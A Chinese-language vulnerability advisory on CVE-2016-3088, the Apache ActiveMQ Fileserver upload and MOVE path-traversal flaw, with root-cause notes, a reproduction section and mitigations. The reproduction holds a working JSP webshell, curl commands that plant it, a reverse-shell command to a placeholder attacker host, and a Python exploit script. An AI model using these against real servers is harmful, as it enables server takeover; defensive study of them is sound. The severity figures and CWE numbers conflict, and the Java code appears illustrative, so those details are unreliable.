一、漏洞简介¶
1.1 漏洞背景¶
Apache ActiveMQ 5.0.0 到 5.13.x 版本包含一个名为 Fileserver 的 Web 应用程序,用于通过 HTTP 传输 BLOB(Binary Large Object)消息。2016年,安全研究人员发现了该组件存在多个安全漏洞,类似于之前报告的 CVE-2015-1830。这些漏洞允许攻击者通过恶意文件上传实现远程代码执行。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2016-3088 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | 文件上传漏洞 |
| 披露时间 | 2016-06-01 |
| 影响组件 | Apache ActiveMQ |
| 属性 | 描述 |
|---|---|
| CVE编号 | CVE-2016-3088 |
| 危害等级 | 重要 (Important) |
| CVSS评分 | 8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 漏洞类型 | 路径遍历、任意文件写入 (CWE-22, CWE-73) |
| 影响组件 | Fileserver Web Application |
该漏洞包含多个安全问题:
1. 任意文件上传:攻击者可上传恶意文件到服务器
2. 路径遍历:通过 ../ 绕过目录限制
3. 文件覆盖:可覆盖 Web 应用文件,植入恶意 JSP/JS
4. MOVE 方法滥用:利用 HTTP MOVE 方法实现任意文件写入
补充核验信息:公开时间:2016-06-01;NVD 评分:9.8(CRITICAL);CWE:CWE-434。
二、影响范围¶
2.1 受影响的版本¶
- Apache ActiveMQ 5.0.0 ~ 5.13.x
2.2 不受影响的版本¶
- Apache ActiveMQ >= 5.14.0(Fileserver 组件已被完全移除)
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Fileserver Web 应用程序已启用(5.12.0 之前默认启用,之后默认禁用)
- 攻击者可访问 Fileserver 接口(默认端口 8161)
- 可能需要认证(取决于配置)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Fileserver REST API 漏洞:
Fileserver 组件提供了基于 REST 的文件操作 API:
- PUT /fileserver/<path> - 上传文件
- GET /fileserver/<path> - 下载文件
- MOVE /fileserver/<path> - 移动文件(关键漏洞点)
漏洞利用方式:
- 上传恶意文件:
- 使用 PUT 方法上传 JSP Webshell
-
文件被存储在 Fileserver 目录
-
利用 MOVE 方法移动文件:
- 通过
Destination头指定目标路径 - 使用路径遍历
../跳出 Fileserver 目录 -
将 Webshell 移动到 Web 应用根目录
-
访问 Webshell:
- 通过浏览器访问上传的 JSP 文件
- 获取服务器控制权
攻击流程:
PUT /fileserver/shell.txt → 上传恶意内容
↓
MOVE /fileserver/shell.txt
Destination: file:///opt/activemq/webapps/admin/shell.jsp
↓
GET /admin/shell.jsp → 执行任意命令
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码位置(Fileserver REST Servlet):
// 处理 MOVE 请求的代码
protected void doMove(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String sourcePath = request.getPathInfo();
String destinationHeader = request.getHeader("Destination");
// 危险:未对 Destination 进行充分验证
String destPath = parseDestination(destinationHeader);
// 路径遍历检查不完整
if (!destPath.startsWith(fileserverRoot)) {
// 应该阻止,但可以通过 file:// 协议绕过
response.sendError(403);
return;
}
// 执行文件移动
File source = new File(fileserverRoot, sourcePath);
File dest = new File(destPath); // 可控的目标路径
source.renameTo(dest);
}
绕过方式:
攻击者可以通过 file:// 协议配合绝对路径绕过路径检查:
MOVE /fileserver/shell.txt HTTP/1.1
Host: target:8161
Destination: file:///opt/activemq/webapps/api/shell.jsp
HTTP/1.1 204 No Content
补丁修复(5.14.0 版本):
官方选择完全移除 Fileserver 组件,而不是修复漏洞:
- 该功能不再被推荐使用
- 建议使用独立的 FTP/HTTP 服务器传输 BLOB 消息
- 从 conf/jetty.xml 中移除 Fileserver 配置
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 下载受影响版本
wget https://archive.apache.org/dist/activemq/5.11.1/apache-activemq-5.11.1-bin.tar.gz
tar -xzf apache-activemq-5.11.1-bin.tar.gz
cd apache-activemq-5.11.1
# 确保 Fileserver 已启用(检查 conf/jetty.xml)
# 默认在 5.12.0 之前是启用的
./bin/activemq start
4.2 PoC 演示与测试过程¶
步骤1:上传恶意文件
# 创建 JSP Webshell
cat > shell.jsp << 'EOF'
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line;
while((line = br.readLine()) != null) {
out.println(line);
}
}
%>
EOF
# 上传到 Fileserver
curl -X PUT -T shell.jsp http://admin:admin@target:8161/fileserver/shell.txt
步骤2:利用 MOVE 方法移动文件
# 将文件移动到 Web 应用目录
curl -X MOVE -H "Destination: file:///opt/activemq/webapps/api/shell.jsp" \
http://admin:admin@target:8161/fileserver/shell.txt
步骤3:访问 Webshell 执行命令
# 执行命令
curl "http://target:8161/api/shell.jsp?cmd=id"
# 输出: uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
# 获取反弹 shell
curl "http://target:8161/api/shell.jsp?cmd=bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/attacker/4444%200%3E%261'"
自动化利用脚本:
#!/usr/bin/env python3
import requests
def exploit(target, port, username, password, command):
base_url = f"http://{target}:{port}"
auth = (username, password)
# JSP Webshell
webshell = """<%@ page import="java.util.*,java.io.*"%>
<%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;while((line=br.readLine())!=null){out.println(line);}%>"""
# Step 1: PUT
put_url = f"{base_url}/fileserver/pwn.txt"
r = requests.put(put_url, data=webshell, auth=auth)
print(f"[*] PUT status: {r.status_code}")
# Step 2: MOVE
move_url = f"{base_url}/fileserver/pwn.txt"
headers = {"Destination": f"file:///var/www/html/shell.jsp"}
r = requests.request("MOVE", move_url, headers=headers, auth=auth)
print(f"[*] MOVE status: {r.status_code}")
# Step 3: Execute
shell_url = f"{base_url}/shell.jsp?cmd={command}"
r = requests.get(shell_url, auth=auth)
print(f"[+] Command output:\n{r.text}")
if __name__ == "__main__":
exploit("target.com", 8161, "admin", "admin", "id")
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到安全版本: - Apache ActiveMQ >= 5.14.0
在 5.14.0 版本中,Fileserver 组件已被完全移除。
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案1:禁用 Fileserver(推荐)¶
编辑 conf/jetty.xml,注释或删除以下配置:
<!-- 删除或注释以下内容 -->
<!--
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/fileserver" />
<property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
<property name="logUrlOnStart" value="true" />
<property name="parentLoaderPriority" value="true" />
</bean>
-->
重启 ActiveMQ 服务:
./bin/activemq restart
方案2:限制网络访问¶
# 仅允许受信任 IP 访问 8161 端口
iptables -A INPUT -p tcp --dport 8161 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8161 -j DROP
方案3:强制认证¶
确保 Web Console 需要认证,修改 conf/jetty-realm.properties:
# 修改默认密码
admin: strong_random_password_here, admin
user: another_strong_password, user
方案4:使用独立的文件服务器¶
使用专业的文件存储解决方案替代 Fileserver: - SFTP 服务器 - MinIO 对象存储 - NFS 共享存储
<hr />